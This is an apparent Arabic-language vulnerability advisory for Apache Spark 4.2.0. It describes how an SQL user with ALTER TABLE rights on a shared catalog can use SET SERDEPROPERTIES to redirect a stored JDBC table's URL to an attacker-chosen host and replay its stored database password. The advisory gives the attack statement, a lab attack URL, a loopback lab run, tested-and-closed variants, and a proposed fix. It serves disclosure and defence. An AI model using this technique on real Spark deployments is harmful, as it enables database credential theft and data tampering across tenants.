
Apache Spark 4.2.0 - عالي - عن بُعد - حقن JDBC URL - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
التقرير: https://abraxaslabs.tech/research/spark-jdbc-serde-url
الفئة: حقن عنوان URL لـ JDBC النطاق: عن بُعد
Apache Spark 4.2.0 (32f72996) - مؤسسة Apache للبرمجيات
أوقف SPARK-31710 الخيارات الإضافية في وقت الفحص من تجاوز url المخزَّن لـ JDBC. لا يزال ALTER TABLE SET SERDEPROPERTIES يُدمَج في storage.properties، وهو خريطة خيارات فحص JDBC. إن user / password المخزَّنين ليسا من أسماء خيارات Spark JDBC، لذا ينتقلان إلى عنوان URL الجديد.
يمكن لمستخدم SQL في كتالوج مشترك إعادة توجيه جدول USING jdbc مُهيَّأ من قِبل المشغّل وإعادة تشغيل كلمة مرور قاعدة البيانات المخزَّنة إلى مضيف يختاره هو.
| المعرّف | لا يوجد CVE بعد |
| الفئة | حقن عنوان URL لـ JDBC / إعادة استخدام بيانات اعتماد مخزَّنة (بقايا SPARK-31710) |
| النطاق | عن بُعد (Connect أو Hive Thrift SQL على كتالوج مشترك) |
| CWE | CWE-15، CWE-522 |
| CVSS | عالٍ: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| المنتج | Apache Spark |
| المتأثر | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) جداول SQL v1 JDBC |
| المصادقة | مستخدم SQL في كتالوج مشترك (وليس jar لإرسال مهمة) |
| الترخيص | GNU Affero GPL v3.0 |
| المختبر | 127.0.0.1:18960 فقط |
جلسة Connect gRPC SQL أو جلسة Hive Thrift SQL على externalCatalog مشترك يحتوي بالفعل على جدول USING jdbc دائم مع بيانات اعتماد مخزَّنة. ليس مُرسِل مهمة. وليس الجلسة التي حدّدت عنوان URL الأصلي.
| الطريقة | المخرج | الامتياز |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') ثم REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties ثم JDBC Driver.connect(url, properties) | السلامة: إعادة توجيه الجدول المُهيَّأ إلى مستمع المهاجم. مُثبَت مختبريًا (connect=yes). السرّية: إعادة تشغيل user / password المخزَّنين لقاعدة البيانات عند بدء تشغيل PostgreSQL والمصادقة النصية الصريحة. مُثبَت مختبريًا (user-replay=true password-replay=true). استطلاع السرّ عبر SHOW CREATE مغلق (مُحجَّب). |
نفس الاستمرار، ثم SELECT لاحق من مستأجر آخر على t | صف الكتالوج المشترك | السلامة، مُستنتَجة: استعلامات الجلسات الأخرى على t تصطدم الآن بعنوان URL الجديد (قاعدة بيانات خاطئة، صفوف يتحكم بها المهاجم). التوفّر، مُستنتَج: قاعدة البيانات الأصلية غير قابلة للوصول حتى يعيد المسؤول ضبط serde. خارج نطاق DoS. |
مفاتيح serde إضافية (sessionInitStatement، prepareQuery، driver) | خيارات الفحص على user / password المتبقيين | السلامة، مُستنتَجة: عبارات إضافية أو مُنشئ بلا وسائط لـ Driver على مسار الفئة. لا تُضخّم إلى RCE دون أداة استغلال في مسار الفئة الافتراضي. لم يُجرَّب. |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties فقط | مغلق لهذا المسار. مُثبَت مختبريًا (storage url دون تغيير، لا إصابة في oracle). |
تعارض خيار url الإضافي في وقت الفحص | SPARK-31710 generateDatasourceOptions | مغلق. مُثبَت مختبريًا (extra-options-clash مرفوض). |
spark.read.format("jdbc").option("url", ...) المحدَّد من نفس الجلسة | مستوى البيانات المقصود | مُستبعَد. عنوان URL الذي يتحكم به المالك ليس هذه البقايا. |
SET SERDE '<class>' على جدول مصدر بيانات | اسم الفئة | مغلق (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). لم يُجرَّب. |
المجاور المغلق: مسارات JDBC / الملفات المسماة بالجلسة. فحص التعارض في spark.sql.legacy.extraOptionsBehavior. لا يمتلك Spark مفتوح المصدر قائمة externalOptionsAllowList الخاصة بـ Unity. عنوان URL في CREATE TABLE يتحكم فيه المالك (وليس هذا المتبقي). تنقيح سجل عنوان URL الخاص بـ JDBC غير مشروط. يوجد path لجدول الملفات في locationUri. تأتي اتصالات JDBCTableCatalog من إعدادات كتالوج الجلسة (نفس مستوى البيانات الخاص باختيار عنوان URL). يُستبعد من النموذج pyspark أحادي المستخدم بدون كتالوج مشترك.
ثبّتُ Spark 4.2.0، وليس master وليس إصدار 4.3 RC. إرسال المهام على عنقود مفتوح أمر مقصود بالتصميم. تقع البقايا المثيرة للاهتمام بجوار إصلاحات مسماة. يرفض SPARK-31710 / generateDatasourceOptions عنوان url مختلفًا وقت الفحص لمفتاح serde موجود. يكتب SET TBLPROPERTIES في table.properties فقط. لا تزال جداول Datasource تسمح بـ SET SERDEPROPERTIES وتدمج في storage.properties (++، المفاتيح اللاحقة تفوز). لا يدخل user وpassword أبدًا إلى jdbcOptionNames، لذا يسلّمهما asConnectionProperties إلى Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE يحجب password. لا يستطيع مستخدم SQL قراءة السر مرة أخرى. لكنه لا يزال قادرًا على استغلاله.
المسارات الخاطئة المسجّلة مسبقًا: اعتبار url في CREATE TABLE هو الخلل؛ وتكرار تسجيل تعارض الخيارات الإضافية؛ وتوقّع أن ينقل SET TBLPROPERTIES التخزين؛ والادعاء بأن SHOW CREATE يسرّب كلمة المرور؛ وتشغيل عنقود كامل بينما كود Scala المذكور هو مجرد gadget؛ والحصول على reverse shell. الأداة الحاسمة (oracle) هي تشغيل PostgreSQL مع مصادقة نصية صريحة على loopback.
cd lab
./run.sh
المنفذ الاسترجاعي 127.0.0.1:18960 هو مستمع بروتوكول PostgreSQL. فحص الصحة عبر HTTP هو 127.0.0.1:18961. حاوية الأداة هي Temurin 21 بالإضافة إلى libpostgresql-jdbc-java. عنوان URL المخزّن هو jdbc:postgresql://127.0.0.1:1/provisioned (تم رفض الاتصال). عنوان URL للهجوم هو jdbc:postgresql://oracle:18960/stolen. المستخدم المخزّن spark_jdbc. كلمة المرور المخزّنة stored-secret-SPARK-JDBC-SERDE-URL. اربطه بواجهة الاسترجاع.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
ارفض مفاتيح SET SERDEPROPERTIES التي تتعارض مع url / user / password المخزّنة لـ JDBC، وهو الفحص نفسه الذي يُجريه generateDatasourceOptions بالفعل على الإضافات وقت الفحص. أو أزِل user / password المخزّنة عند تغيّر url. أو تعامل مع serde الخاص بـ JDBC لمصدر البيانات كخصائص جدول، لا كتخزين. حتى ذلك الحين، لا تمنح SQL غير الموثوقة صلاحية ALTER TABLE على جدول USING jdbc دائم يخزّن كلمة مرور.